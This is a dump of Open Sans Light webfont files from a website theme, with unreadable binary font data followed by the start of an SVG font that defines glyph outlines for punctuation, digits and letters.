+�@	+�/�ֱ�
+�@	+�+015!#o�R�R��\7R"�/����/�+�	+�+015!\�RRd��D�-5��+��+��,.
+�,�,.
+�@, 	+�)2�!5
+�!��6/�ֱ�� +�-
�.2�-�2+�%
�%�+��7+�2-�+($9�%�*9��)9�.,�($9�5�%9014$32#"$732$54$#"32##32654+d�^��^�������]�0��/���͵��ϲ�ӏ�MH�yҨp[h�n��^��������ZƲ�Ѳ�0��.�����p|�Oy"�wh���]Y���f�/����/�+015!RR�u��B�+��	/���/�ֱ��+��+��	99��99014632#"&732654&#"��~~��~��ZzWV{xYZw���������[~|]\}���o#�'��W5Ju�L�
+��/���/�ֱ�
+�@	+�
+�@	+�+��9��
$90157>54&#"'632!5�}^]Mlm1w�|�6S���JN�y�MGSRAgo/TW]��X)9��#^�+��"/��
/���$/�ֱ
� ���
+�@
	+�%+�"�9�
�99��9��99901532654&+532654&#"'632#")��swww��ij^P�v/���XI����uX>bWSNTWMCQNF^xgNk-�����!	(�/�
+�
/�ִ+�+��9015>73�I��$�h�O�04�W��?S�
+�+��+�
3�/�/�ֱ�2��	+�
2��+�	�99��99901332653#'##"&'�c��·bT2�uc�3�+�@����X���M]79\N�bq��RH�+�	�
+�@
	+�@
	+�2�/�
ֱ	
�	�+�/�	�+�
�+0163!####"&q��d�d@R�������F3����oD3�+��)�+�+���/�ֱ�+��90132654'73#"'+>NR�]`B��yD�w
84^�u%�deLJ��	"�+�
/�ֱ�+��9901%3#47L\b����#c�zF!��B�+��	/���/�ֱ��+��+��	99��99014632#"&7324&#"F��������Z��dmmdu�����������H}#�
77%7H��=5��+��>5�˨jk+�y�w+jk+�y�w��;p�&{�'�?�����{�&{�'��t����)��&u'���F��J�u%T(v�!+�&�/���)/�ֱ��+���#+�+�/�#+�*+��999��99��!&99��9�&�	999014>7>=332?#"&432#"&J(M�@EROaZI>��}l@%o�N��nPR/#".Fl`o5[aa%}�UO=wO|�.O0 ��bb5..���s&$C��R���s&$voR���s&$�R���&$�R���&$jR���&$������[�+�3�		�+�	�2�
+��
+�	��/�ְ2�	
�2�	
+�@		+�
2�@		+�+01#!!!!!!!!#�m��@��g�3�%��d�^��^��^��`�������&&z����s&(C��R����s&(vFR����s&(�R����&(jR����@s&,C�8R���>s&,v�6R����&s&,��R��&,j��R/%�g�+�
�+��
+�3�	�2�/�ְ2�

�2�

+�@
	+�
+�@	+�
�+��+��990153! )3 )!!/��^m�~����f���������j�^�������������:=��^����&1�uR������s&2CmR������s&2v%R������s&2��R������&2��R������&2j�Rw�7			'w9��:�h�:�i�j9�j:�h�:�i�h9��h9������#m�
+�3�	�+�
��$/�ֱ��!+�
�%+��9�!�
$9�
�9�
�9��
#$9��901!27!"''7&&# 3 '�_0�lHo������VJZ�o������̅���]�y�<������kxx;�o�ȫ
f����jT=;������s&8C9R�����s&8v�R�����s&8��R�����&8j�R��9s&<v)R�?�I�+�+�+��

+�
��/�ֱ
�22��+��+��90133! !#32654&+�f
������������\����������D4��+�+��0+���5/�ֱ4�4�'+�
��-+�
��!+��6+�'4�999��%099�-�	$*$9��9��9�0�9990134632#"&'532654&'.5467>54&#"�Ͻ�ËQ;JAj[-��_�/A�EryNn`AJJA����������o@I',0B-KckC��%k&0mjSzKWxV<d:9a:]d��B��b���!&DC�v��b���!&Dv��b���!&D����b����&Dȭ��b����&Dj���b����&D��b��LT&17��$+�3�*�2�
+�3��62�2$

+�2�2� ��/��8/�ֱ'�'�-+�2�
�22��3+��9+�'�9�-�

$$9��!99�3�999��99�*$�9��!'$9�/�09�2�9��
99�
�90146?54&#"'63 632!!267# #"&7326=%!4&# b���{���%��@o��5\U�m\�X��fDȘ��izm�»ۼ�\����!��H��TVT����P�4-Z)�{��fqDZkyͼ��w��T&FzJ��w���!&HC���w���!&Hv;��w���!&H���w����&Hj�����]!&�C�U��k�!&�v������!&���������&�j��u��(H�+� �&/���)/�ֱ
��#+��*+�#�$9�& �999014327''7&'77#"732654&#"u��l�E@��1�Vq-�e�1ʚ����h����ª����B?��M�>9QEL�Ty��l���ߺ�������&Q���w��9!&RC���w��9!&Rvj��w��9!&R�
��w��9�&R����w��9�&Rj
o#�
1�/��/��/���/�ְ2�+�2�+015!432#"&432#"&o���PR/#".PR/#".�RR��bb5..�cc4..w��9h#m�
+��+���$/�ֱ
��!+�

�%+��99�!�
$9�
�99�
�9��
#$9��901327#"''7&7&#"32654'w�z`Jhp���vVH]yhNb��Ë^���H!
)h|7����bq:x���z�Z���R��w�����!&XC������!&Xvf�����!&X�������&Xj����!&\v���L c�
+��+��
+�@	+�/�!/�ֱ�22��+�
�"+��99��
99��
$90133632#"'#3265!"�cr�����s����������y������ټTJX�b	����������&\j��?!�+�+�/�ֱ��+0133�c?���������+�
	�+�	�+�	�+�
�	
+�		�� /�ֱ��+�

�2�

+�@
	+�!+��99�
�9�
�9�	�99��901!2!!!!!!# !27&# �]2Ni�qh����Ld���omA>n�����[�^��^��^�]������w��T ,3��+�3�$�2�+�3�*�12�-

+�-��4/�ֱ!
�!�'+�
�-2�
�.+��5+�'!�99�
�99�.�999��99�$�9�
�99�-�!'99�*�90132!2!3267#"&'#"&732654&#"!4&#"w��9n!��Ų]�l\�^��7;ƙ��thŴ������J�����!
)�����P��+Z(���������������9&<j��R+�q!
+�/�3�
+�/�ִ+�+��9015>73#&'+>�)bD�Fzclq�C�Cx�ejr]s�%�@�	/��/���/�ֱ��+��+��	99��99014632#"&732654&#"sxaaxxaaxPK>>KN;>K�^uv]attaBKKB@KL���H�+�3��/�3�	��/�ֱ��+�
�+��99�	�9901>3232673#"&'.#"
jT0P*"@.>LjO$N> = -<�o2",IStz%5(EW\7R"�/����/�+�	+�+015!\�RR\7R"�/����/�+�	+�+015!\�RR\7R"�/����/�+�	+�+015!\�RRR�R�/����/�+015!R\RRR�R�/����/�+015!R\RR���+�	+�	/�ֱ�
+01673# c+AEu�p[e��X���+�	+�/�ֱ�	+01673@uKc�`#r�����D��3��'�8�J�:�+�3�	+�2�/�ֱ��	+��+�	�9901673#%673# c+AEu1"b*BBu�p[e��Xx[b��f�J�:�+�3�	+�2�/�ֱ��+�
�+��99016733673@uKc�Bt
$b(�`#r���b-f���W��D��q��'�8�7�.�	/�+�+�/�ִ+�+�
+014632#"&�QIIQRHHR�Y[^VU`^������&'��R}��!�/�ִ+�2�+��9015R5>��>�+����+H}��!�/�ְ2�+�+��90177H��=5�˨jk+�y�w��=�!3��+^����JJ��
b�+�/�3��2�
+�@	+�/�	ְ2��2�	
+�@	+�	
+�@		+�+�	�9��9��901533##5%!547�`��Z��5;<E��N��N݄d/J��X�*��'+�!�+��'
+�3��2�'
+�3��2�+/�ְ*2��22�
+�@	+�
+�@	+�2��
�/�
+�@	+�,+�!'�$9��#9��9��90153&57#5332&#"!!!!327#"J���' �X�K'����)����E블�Q�G��*R&KfR2"(VH��RhAR��A^"
��o�+�	33��2�
+�@	+�222�/�ֱ�
+�@	+�
+�@	+��+���+��+��
$9015!##33#7###

�V}}��}V�J�hNN�}��}��^�/���a�ho�#��/����/�+015!o��RR==!!=��=�����&ILf��&IOf���&I'IfL����&I'IfO��V��_<���B��B����s����������������+7��uq�{��-R-=hh�o�D�\����s���q�^�+�����m�y�o���L�o�o�o^9q������j���������H�������������\o1
���#3N9�R����3�XJ����=b���w�wdwf/-��������������w���w��T������7��R�=T��H�o�����N��+T�!��P�d�NuR�o�\�d��m��o�5�)����=q���+�L�FuH�;��)^J������u����j�j�j�j�������/��������w���������9����=b=b=b=b=b=b�b�wdwdwdwdw���k�����u���w�w�w�w�w�o�w��������������/��w9�+�s��s�s{�==�}i�\�\�\RR))�DffD���}RH������J�
�o=55�,,,,p���Fd���>\���$t�8�8�0f����	\

:
�
�.j�Fd���
>
�
���>n���.\����*�L�l(t��0J��J�L�V�6h��6P���(��h����Z��  2 � �!:!F!�!�" "r"�"�"�##`#�#�#�#�$,$8$D$P$\$h$t$�$�$�$�$�%%%%(%4%�%�%�%�%�%�%�&&|&�&�&�&�&�''�'�'�'�'�'�'�(�(�(�(�(�(�(�(�(�(�)\)h)t)�)�)�)�)�*X*d*p*|*�*�*�++$+�,:,F,x,�-------------,-J-h-�-�-�-�-�...n.x.�.�.�.�////b/�0T0l0z0�0�0�0��A?�f	r	r	
�	�	�	�	�	�n�Digitized data copyright � 2010-2011, Google Corporation.Open SansLightwebfontOpen Sans LightVersion 1.10OpenSans-LightThis font was generated by the Font Squirrel Generator.�ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

���������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�+�+D� E��+�+D� E�g+�+D� E�"+�+D�	 E�+�+D�
 E�	|+�+D� E�
7+�+D� E�+�+D�
 E�+D� E�
+�Fv+D� E�G+�Fv+D� E�3+�Fv+D� E�+�Fv+D� E�v+�Fv+D� E�
�+�Fv+D� E��+�Fv+D� E��+�Fv+D� E�0+�Fv+DY�+PK!`T������:bluetheme/assets/fonts/OpenSans/OpenSans-Light-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  20102011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansLight" horiz-adv-x="1169" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="492" d="M164 78q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98zM186 1462h119l-29 -1085h-61z" />
<glyph unicode="&#x22;" horiz-adv-x="723" d="M133 1462h127l-33 -528h-61zM463 1462h127l-33 -528h-61z" />
<glyph unicode="#" horiz-adv-x="1323" d="M55 451v79h299l76 398h-297v80h311l86 454h91l-89 -454h365l88 454h86l-88 -454h285v-80h-301l-76 -398h303v-79h-320l-86 -451h-90l88 451h-360l-86 -451h-88l86 451h-283zM440 530h363l78 398h-363z" />
<glyph unicode="$" d="M164 186v103q75 -36 179.5 -61t193.5 -25v508q-145 44 -215 88t-102 104t-32 146q0 124 94.5 208.5t254.5 104.5v192h81v-190q197 -9 351 -72l-33 -90q-141 62 -318 72v-486q213 -66 293 -144t80 -204q0 -133 -99 -217t-274 -106v-236h-81v232q-92 2 -200.5 22.5 t-172.5 50.5zM297 1049q0 -86 57 -141t183 -93v453q-119 -16 -179.5 -76t-60.5 -143zM618 209q122 13 192.5 75t70.5 160q0 85 -63 140.5t-200 95.5v-471z" />
<glyph unicode="%" horiz-adv-x="1653" d="M113 1026q0 223 72 340t212 117q139 0 215 -120.5t76 -336.5q0 -226 -75 -343.5t-216 -117.5q-133 0 -208.5 120.5t-75.5 340.5zM211 1026q0 -186 45 -279.5t141 -93.5q193 0 193 373q0 184 -49.5 276.5t-143.5 92.5q-96 0 -141 -92.5t-45 -276.5zM373 0l811 1462h96 l-811 -1462h-96zM965 438q0 225 73.5 341t212.5 116q137 0 213 -120t76 -337q0 -226 -74 -343.5t-215 -117.5q-136 0 -211 121.5t-75 339.5zM1063 438q0 -185 45 -277.5t141 -92.5q193 0 193 370q0 369 -193 369q-96 0 -141 -91.5t-45 -277.5z" />
<glyph unicode="&#x26;" horiz-adv-x="1460" d="M123 371q0 138 73.5 235t274.5 205l-75 82q-66 71 -98 139t-32 142q0 143 95.5 227t256.5 84q155 0 245.5 -81t90.5 -224q0 -105 -70 -192.5t-253 -194.5l452 -457q61 72 104 157t75 201h96q-63 -246 -209 -426l266 -268h-135l-193 197q-92 -90 -164 -131.5t-157.5 -63.5 t-194.5 -22q-209 0 -328.5 103t-119.5 288zM227 375q0 -143 93 -224t258 -81q128 0 234.5 43.5t209.5 146.5l-483 485q-136 -72 -196.5 -122.5t-88 -109.5t-27.5 -138zM373 1176q0 -79 40 -146t152 -174q159 85 221 159t62 169q0 94 -62 152.5t-168 58.5q-114 0 -179.5 -58 t-65.5 -161z" />
<glyph unicode="'" horiz-adv-x="393" d="M133 1462h127l-33 -528h-61z" />
<glyph unicode="(" horiz-adv-x="557" d="M82 561q0 265 77.5 496t223.5 405h113q-148 -182 -227 -412.5t-79 -486.5q0 -483 304 -887h-111q-147 170 -224 397t-77 488z" />
<glyph unicode=")" horiz-adv-x="557" d="M61 1462h113q147 -175 224 -406.5t77 -494.5t-77.5 -490t-223.5 -395h-111q304 404 304 887q0 257 -79 487.5t-227 411.5z" />
<glyph unicode="*" horiz-adv-x="1128" d="M104 1124l19 131l401 -104l-39 405h146l-37 -405l405 104l21 -131l-395 -39l247 -340l-124 -71l-191 379l-180 -379l-125 71l242 340z" />
<glyph unicode="+" d="M111 682v82h432v434h82v-434h434v-82h-434v-432h-82v432h-432z" />
<glyph unicode="," horiz-adv-x="440" d="M68 -264q77 275 110 502h117l12 -21q-75 -265 -174 -481h-65z" />
<glyph unicode="-" horiz-adv-x="659" d="M92 512v82h475v-82h-475z" />
<glyph unicode="." horiz-adv-x="487" d="M162 78q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98z" />
<glyph unicode="/" horiz-adv-x="698" d="M25 0l544 1462h105l-545 -1462h-104z" />
<glyph unicode="0" d="M115 735q0 382 115.5 566t351.5 184q231 0 352 -190.5t121 -559.5q0 -385 -117.5 -570t-355.5 -185q-229 0 -348 190.5t-119 564.5zM223 735q0 -340 89 -502.5t270 -162.5q189 0 275.5 168t86.5 497q0 324 -86.5 492t-275.5 168t-274 -168t-85 -492z" />
<glyph unicode="1" d="M199 1165l397 297h86v-1462h-98v1065q0 145 12 301q-15 -15 -31 -29t-309 -243z" />
<glyph unicode="2" d="M113 0v88l389 406q164 170 230 260t97 172t31 172q0 131 -86 213t-223 82q-183 0 -350 -133l-54 69q183 154 406 154q191 0 300.5 -102t109.5 -281q0 -145 -73.5 -280.5t-268.5 -334.5l-375 -385v-4h782v-96h-915z" />
<glyph unicode="3" d="M94 63v99q84 -44 188.5 -69t196.5 -25q221 0 332 89.5t111 252.5q0 145 -113.5 223t-333.5 78h-158v96h160q182 0 288.5 86.5t106.5 234.5q0 122 -86.5 195.5t-226.5 73.5q-109 0 -199 -30.5t-202 -104.5l-49 67q85 71 205 112.5t243 41.5q202 0 312 -95.5t110 -269.5 q0 -136 -85.5 -229t-229.5 -119v-6q176 -22 268 -112t92 -242q0 -205 -139.5 -317.5t-401.5 -112.5q-223 0 -389 83z" />
<glyph unicode="4" d="M43 373v67l725 1030h121v-1011h252v-86h-252v-373h-94v373h-752zM162 459h633v418q0 302 14 507h-8q-20 -37 -123 -188z" />
<glyph unicode="5" d="M143 63v103q108 -55 192 -76.5t179 -21.5q192 0 308 101.5t116 274.5q0 163 -113 256t-307 93q-130 0 -272 -39l-60 39l58 669h704v-96h-610l-45 -516q156 29 244 29q234 0 368.5 -113t134.5 -311q0 -225 -140 -350t-386 -125q-109 0 -207 21.5t-164 61.5z" />
<glyph unicode="6" d="M131 623q0 285 77.5 479.5t220 288.5t343.5 94q94 0 172 -23v-88q-73 27 -176 27q-247 0 -384.5 -178t-154.5 -518h13q76 98 174 148t207 50q205 0 320.5 -117t115.5 -323q0 -224 -121.5 -353.5t-327.5 -129.5q-222 0 -350.5 169.5t-128.5 473.5zM240 504 q0 -111 49.5 -213.5t134 -162.5t186.5 -60q164 0 255 103t91 294q0 168 -90 262t-245 94q-102 0 -189.5 -45t-139.5 -119.5t-52 -152.5z" />
<glyph unicode="7" d="M109 1366v96h946v-73l-604 -1389h-117l602 1366h-827z" />
<glyph unicode="8" d="M121 375q0 131 83 230t257 169q-161 76 -227 160.5t-66 202.5q0 105 53 184.5t148.5 122.5t212.5 43q186 0 299.5 -95t113.5 -257q0 -112 -70.5 -198t-228.5 -159q192 -79 270 -173t78 -228q0 -181 -126.5 -289t-339.5 -108q-221 0 -339 101t-118 294zM223 360 q0 -138 93.5 -214t261.5 -76q164 0 264 80.5t100 218.5q0 124 -78.5 201.5t-302.5 162.5q-184 -71 -261 -157t-77 -216zM268 1137q0 -70 31.5 -123.5t91 -97t199.5 -101.5q163 63 234 139t71 183q0 120 -84.5 190t-230.5 70q-141 0 -226.5 -69.5t-85.5 -190.5z" />
<glyph unicode="9" d="M111 993q0 220 124.5 356t323.5 136q144 0 252 -75.5t166.5 -221.5t58.5 -346q0 -288 -75.5 -482t-220 -287t-349.5 -93q-104 0 -192 26v86q43 -14 103.5 -21.5t92.5 -7.5q247 0 387 178.5t156 520.5h-12q-73 -96 -174 -147.5t-211 -51.5q-203 0 -316.5 112t-113.5 318z M213 999q0 -174 87 -264t249 -90q101 0 188.5 45t139 119.5t51.5 151.5q0 117 -46.5 219t-130 159.5t-192.5 57.5q-158 0 -252 -106.5t-94 -291.5z" />
<glyph unicode=":" horiz-adv-x="487" d="M162 78q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98zM162 971q0 98 80 98q82 0 82 -98q0 -53 -23.5 -76t-58.5 -23q-34 0 -57 23t-23 76z" />
<glyph unicode=";" horiz-adv-x="487" d="M76 -264q29 97 62 245.5t48 256.5h117l12 -21q-75 -265 -174 -481h-65zM162 971q0 98 80 98q82 0 82 -98q0 -53 -23.5 -76t-58.5 -23q-34 0 -57 23t-23 76z" />
<glyph unicode="&#x3c;" d="M111 682v61l948 474v-95l-823 -405l823 -355v-96z" />
<glyph unicode="=" d="M111 477v82h948v-82h-948zM111 885v82h948v-82h-948z" />
<glyph unicode="&#x3e;" d="M111 266v96l823 355l-823 405v95l948 -474v-61z" />
<glyph unicode="?" horiz-adv-x="862" d="M57 1403q110 48 184.5 64t153.5 16q183 0 288 -98.5t105 -270.5q0 -68 -18 -119t-50.5 -94.5t-78.5 -84t-102 -87.5q-64 -54 -98.5 -98.5t-50 -93.5t-15.5 -146v-14h-82v37q0 123 37.5 201t138.5 167l91 79q72 61 103 121t31 138q0 127 -83.5 202t-219.5 75 q-79 0 -148 -17.5t-149 -56.5zM260 78q0 98 80 98q82 0 82 -98t-82 -98q-80 0 -80 98z" />
<glyph unicode="@" horiz-adv-x="1815" d="M113 561q0 256 108.5 460.5t307 317.5t448.5 113q215 0 380.5 -89t255 -254.5t89.5 -383.5q0 -228 -90.5 -366t-245.5 -138q-89 0 -144.5 54t-64.5 147h-4q-43 -100 -124 -150.5t-189 -50.5q-148 0 -229 96.5t-81 270.5q0 202 120.5 330.5t314.5 128.5q138 0 286 -41 l-22 -464v-30q0 -104 35 -156.5t116 -52.5q103 0 168.5 116.5t65.5 303.5q0 194 -79 340t-225.5 224.5t-334.5 78.5q-230 0 -405.5 -99.5t-270 -281.5t-94.5 -418q0 -322 167 -497.5t474 -175.5q93 0 188.5 18t231.5 70v-99q-203 -80 -414 -80q-349 0 -544 200.5t-195 557.5 zM633 590q0 -143 55 -215t174 -72q255 0 273 346l16 291q-79 27 -193 27q-149 0 -237 -102.5t-88 -274.5z" />
<glyph unicode="A" horiz-adv-x="1229" d="M0 0l588 1468h65l576 -1468h-115l-203 516h-594l-204 -516h-113zM354 608h523l-199 527q-25 62 -60 172q-27 -96 -59 -174z" />
<glyph unicode="B" horiz-adv-x="1284" d="M207 0v1462h401q271 0 398 -92t127 -278q0 -127 -77.5 -211.5t-226.5 -108.5v-6q175 -26 257.5 -110.5t82.5 -235.5q0 -202 -134 -311t-380 -109h-448zM309 90h344q406 0 406 330q0 301 -428 301h-322v-631zM309 811h322q206 0 299.5 68.5t93.5 214.5t-105.5 212 t-314.5 66h-295v-561z" />
<glyph unicode="C" horiz-adv-x="1272" d="M129 735q0 223 84.5 393t243 262.5t368.5 92.5q214 0 383 -80l-41 -92q-160 80 -336 80q-275 0 -433 -176t-158 -482q0 -313 149 -486t426 -173q184 0 338 47v-90q-145 -51 -362 -51q-308 0 -485 199t-177 556z" />
<glyph unicode="D" horiz-adv-x="1446" d="M207 0v1462h395q350 0 532.5 -183t182.5 -534q0 -368 -193 -556.5t-567 -188.5h-350zM309 90h242q655 0 655 651q0 314 -159.5 472.5t-468.5 158.5h-269v-1282z" />
<glyph unicode="E" horiz-adv-x="1130" d="M207 0v1462h799v-94h-697v-553h658v-94h-658v-627h697v-94h-799z" />
<glyph unicode="F" horiz-adv-x="1028" d="M207 0v1462h801v-94h-699v-620h660v-95h-660v-653h-102z" />
<glyph unicode="G" horiz-adv-x="1481" d="M129 729q0 223 91.5 395.5t262 266.5t391.5 94q239 0 429 -88l-41 -92q-190 88 -394 88q-289 0 -458.5 -178.5t-169.5 -481.5q0 -330 161 -496.5t473 -166.5q202 0 343 57v514h-435v96h539v-667q-212 -90 -477 -90q-346 0 -530.5 195.5t-184.5 553.5z" />
<glyph unicode="H" horiz-adv-x="1473" d="M207 0v1462h102v-649h854v649h103v-1462h-103v719h-854v-719h-102z" />
<glyph unicode="I" horiz-adv-x="516" d="M207 0v1462h102v-1462h-102z" />
<glyph unicode="J" horiz-adv-x="506" d="M-184 -254q78 -20 149 -20q242 0 242 264v1472h102v-1462q0 -369 -342 -369q-92 0 -151 27v88z" />
<glyph unicode="K" horiz-adv-x="1190" d="M207 0v1462h102v-760l162 162l573 598h130l-599 -618l615 -844h-125l-561 772l-195 -172v-600h-102z" />
<glyph unicode="L" horiz-adv-x="1051" d="M207 0v1462h102v-1366h697v-96h-799z" />
<glyph unicode="M" horiz-adv-x="1767" d="M207 0v1462h158l518 -1286h6l518 1286h154v-1462h-103v1108q0 116 12 240h-8l-547 -1348h-65l-545 1350h-8q8 -124 8 -254v-1096h-98z" />
<glyph unicode="N" horiz-adv-x="1477" d="M207 0v1462h102l865 -1296h6q-9 180 -9 342v954h99v-1462h-103l-866 1298h-8q12 -232 12 -350v-948h-98z" />
<glyph unicode="O" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q306 0 479 -201.5t173 -550.5q0 -348 -174 -550.5t-480 -202.5q-305 0 -479 202.5t-174 552.5zM240 733q0 -314 140 -485.5t402 -171.5q264 0 403.5 170t139.5 487q0 316 -139.5 484.5t-401.5 168.5q-261 0 -402.5 -170 t-141.5 -483z" />
<glyph unicode="P" horiz-adv-x="1198" d="M207 0v1462h358q522 0 522 -420q0 -212 -144 -325t-408 -113h-226v-604h-102zM309 692h201q247 0 357 81.5t110 264.5q0 169 -104 250.5t-322 81.5h-242v-678z" />
<glyph unicode="Q" horiz-adv-x="1565" d="M129 735q0 349 175.5 549.5t479.5 200.5q306 0 479 -201.5t173 -550.5q0 -294 -126 -486.5t-349 -246.5l333 -348h-166l-282 330l-33 -2h-31q-305 0 -479 202.5t-174 552.5zM240 733q0 -314 140 -485.5t402 -171.5q264 0 403.5 170t139.5 487q0 316 -139.5 484.5 t-401.5 168.5q-261 0 -402.5 -170t-141.5 -483z" />
<glyph unicode="R" horiz-adv-x="1217" d="M207 0v1462h348q272 0 402 -100.5t130 -302.5q0 -147 -77.5 -248t-235.5 -145l397 -666h-122l-377 637h-363v-637h-102zM309 725h279q185 0 287 82.5t102 243.5q0 167 -100 243t-326 76h-242v-645z" />
<glyph unicode="S" horiz-adv-x="1116" d="M111 39v102q158 -67 403 -67q180 0 285.5 82.5t105.5 216.5q0 83 -35 137.5t-114 99.5t-232 97q-224 77 -309.5 166.5t-85.5 238.5q0 164 128.5 267.5t330.5 103.5q206 0 387 -78l-37 -88q-182 76 -348 76q-162 0 -258 -75t-96 -204q0 -81 29.5 -133t96.5 -93.5 t230 -99.5q171 -59 257 -114.5t125.5 -126t39.5 -170.5q0 -183 -134.5 -290t-357.5 -107q-268 0 -411 59z" />
<glyph unicode="T" horiz-adv-x="1073" d="M10 1366v96h1053v-96h-475v-1366h-103v1366h-475z" />
<glyph unicode="U" horiz-adv-x="1473" d="M190 520v942h103v-946q0 -211 117 -328.5t331 -117.5q209 0 324 115.5t115 320.5v956h102v-946q0 -252 -146 -394t-407 -142q-254 0 -396.5 142.5t-142.5 397.5z" />
<glyph unicode="V" horiz-adv-x="1182" d="M0 1462h109l368 -995q84 -225 113 -338q20 75 79 233l402 1100h111l-547 -1462h-90z" />
<glyph unicode="W" horiz-adv-x="1827" d="M51 1462h107l256 -942q15 -57 28 -105.5t23.5 -91t19 -82t15.5 -79.5q24 136 102 413l250 887h113l293 -1018q51 -176 73 -284q13 72 33.5 153t308.5 1149h103l-404 -1462h-84l-321 1128q-40 139 -60 228q-16 -87 -45.5 -200t-322.5 -1156h-86z" />
<glyph unicode="X" horiz-adv-x="1102" d="M0 0l492 762l-447 700h115l395 -626l401 626h109l-453 -698l490 -764h-117l-432 682l-440 -682h-113z" />
<glyph unicode="Y" horiz-adv-x="1081" d="M0 1462h117l426 -800l428 800h110l-487 -897v-565h-105v557z" />
<glyph unicode="Z" horiz-adv-x="1180" d="M82 0v76l856 1290h-817v96h954v-76l-858 -1290h881v-96h-1016z" />
<glyph unicode="[" horiz-adv-x="653" d="M174 -324v1786h428v-94h-330v-1597h330v-95h-428z" />
<glyph unicode="\" horiz-adv-x="698" d="M25 1462h102l547 -1462h-103z" />
<glyph unicode="]" horiz-adv-x="653" d="M51 -229h330v1597h-330v94h428v-1786h-428v95z" />
<glyph unicode="^" d="M88 561l465 912h68l460 -912h-100l-395 791l-398 -791h-100z" />
<glyph unicode="_" horiz-adv-x="842" d="M-4 -184h850v-82h-850v82z" />
<glyph unicode="`" horiz-adv-x="1182" d="M393 1552v17h142q26 -48 98.5 -142t142.5 -170v-16h-69q-96 79 -188.5 171.5t-125.5 139.5z" />
<glyph unicode="a" horiz-adv-x="1085" d="M98 289q0 159 132.5 247t383.5 93l207 6v72q0 155 -63 234t-203 79q-151 0 -313 -84l-37 86q179 84 354 84q179 0 267.5 -93t88.5 -290v-723h-73l-25 172h-8q-82 -105 -168.5 -148.5t-204.5 -43.5q-160 0 -249 82t-89 227zM203 285q0 -102 62.5 -158.5t176.5 -56.5 q174 0 274.5 99.5t100.5 276.5v107l-190 -8q-229 -11 -326.5 -71.5t-97.5 -188.5z" />
<glyph unicode="b" horiz-adv-x="1219" d="M182 0v1556h99v-391q0 -88 -4 -162l-3 -85h7q62 98 149.5 144t210.5 46q228 0 343.5 -143.5t115.5 -419.5q0 -271 -121.5 -418t-341.5 -147q-116 0 -209 48t-147 136h-9l-28 -164h-62zM281 528q0 -246 86.5 -353t269.5 -107q178 0 268 124.5t90 354.5q0 471 -356 471 q-192 0 -275 -110t-83 -363v-17z" />
<glyph unicode="c" horiz-adv-x="973" d="M119 537q0 270 137 420.5t375 150.5q141 0 270 -49l-27 -88q-141 47 -245 47q-200 0 -303 -123.5t-103 -355.5q0 -220 103 -344.5t288 -124.5q148 0 275 53v-92q-104 -51 -273 -51q-233 0 -365 147t-132 410z" />
<glyph unicode="d" horiz-adv-x="1219" d="M119 528q0 282 118 431t343 149q118 0 204 -43t154 -147h6q-6 126 -6 247v391h98v-1556h-65l-25 166h-8q-124 -186 -356 -186q-225 0 -344 140t-119 408zM223 530q0 -462 359 -462q184 0 270 107t86 353v17q0 252 -84.5 362.5t-273.5 110.5q-178 0 -267.5 -125 t-89.5 -363z" />
<glyph unicode="e" horiz-adv-x="1124" d="M119 535q0 260 128 416.5t345 156.5q192 0 303 -134t111 -364v-80h-783q2 -224 104.5 -342t293.5 -118q93 0 163.5 13t178.5 56v-90q-92 -40 -170 -54.5t-172 -14.5q-237 0 -369.5 146t-132.5 409zM229 618h672q0 189 -82 295.5t-227 106.5q-157 0 -252 -103.5 t-111 -298.5z" />
<glyph unicode="f" horiz-adv-x="614" d="M29 1001v58l202 37v84q0 200 73.5 293.5t240.5 93.5q90 0 180 -27l-23 -86q-80 25 -159 25q-116 0 -164.5 -68.5t-48.5 -222.5v-101h256v-86h-256v-1001h-99v1001h-202z" />
<glyph unicode="g" horiz-adv-x="1071" d="M45 -193q0 112 69.5 186t188.5 101q-49 21 -78.5 59.5t-29.5 88.5q0 109 139 192q-95 39 -148 122.5t-53 191.5q0 163 103.5 261.5t279.5 98.5q107 0 166 -21h348v-69l-225 -14q90 -112 90 -246q0 -157 -104.5 -254.5t-280.5 -97.5q-74 0 -104 6q-59 -31 -90 -73t-31 -89 q0 -52 39.5 -76t132.5 -24h190q177 0 271 -71.5t94 -211.5q0 -172 -139.5 -265.5t-397.5 -93.5q-205 0 -317.5 79t-112.5 220zM150 -184q0 -224 333 -224q428 0 428 273q0 98 -67 142t-217 44h-178q-299 0 -299 -235zM233 748q0 -126 76.5 -195.5t204.5 -69.5 q136 0 208.5 69t72.5 200q0 139 -74.5 208.5t-208.5 69.5q-130 0 -204.5 -74.5t-74.5 -207.5z" />
<glyph unicode="h" horiz-adv-x="1208" d="M182 0v1556h99v-495l-5 -139h7q61 98 154 142t231 44q370 0 370 -397v-711h-98v705q0 164 -69 238.5t-214 74.5q-195 0 -285.5 -98.5t-90.5 -319.5v-600h-99z" />
<glyph unicode="i" horiz-adv-x="463" d="M168 1389q0 96 63 96q31 0 48.5 -25t17.5 -71q0 -45 -17.5 -71t-48.5 -26q-63 0 -63 97zM182 0v1087h99v-1087h-99z" />
